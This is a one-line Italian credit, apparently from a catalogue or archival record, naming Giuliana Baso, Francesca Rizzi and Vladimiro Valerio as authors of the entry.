Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio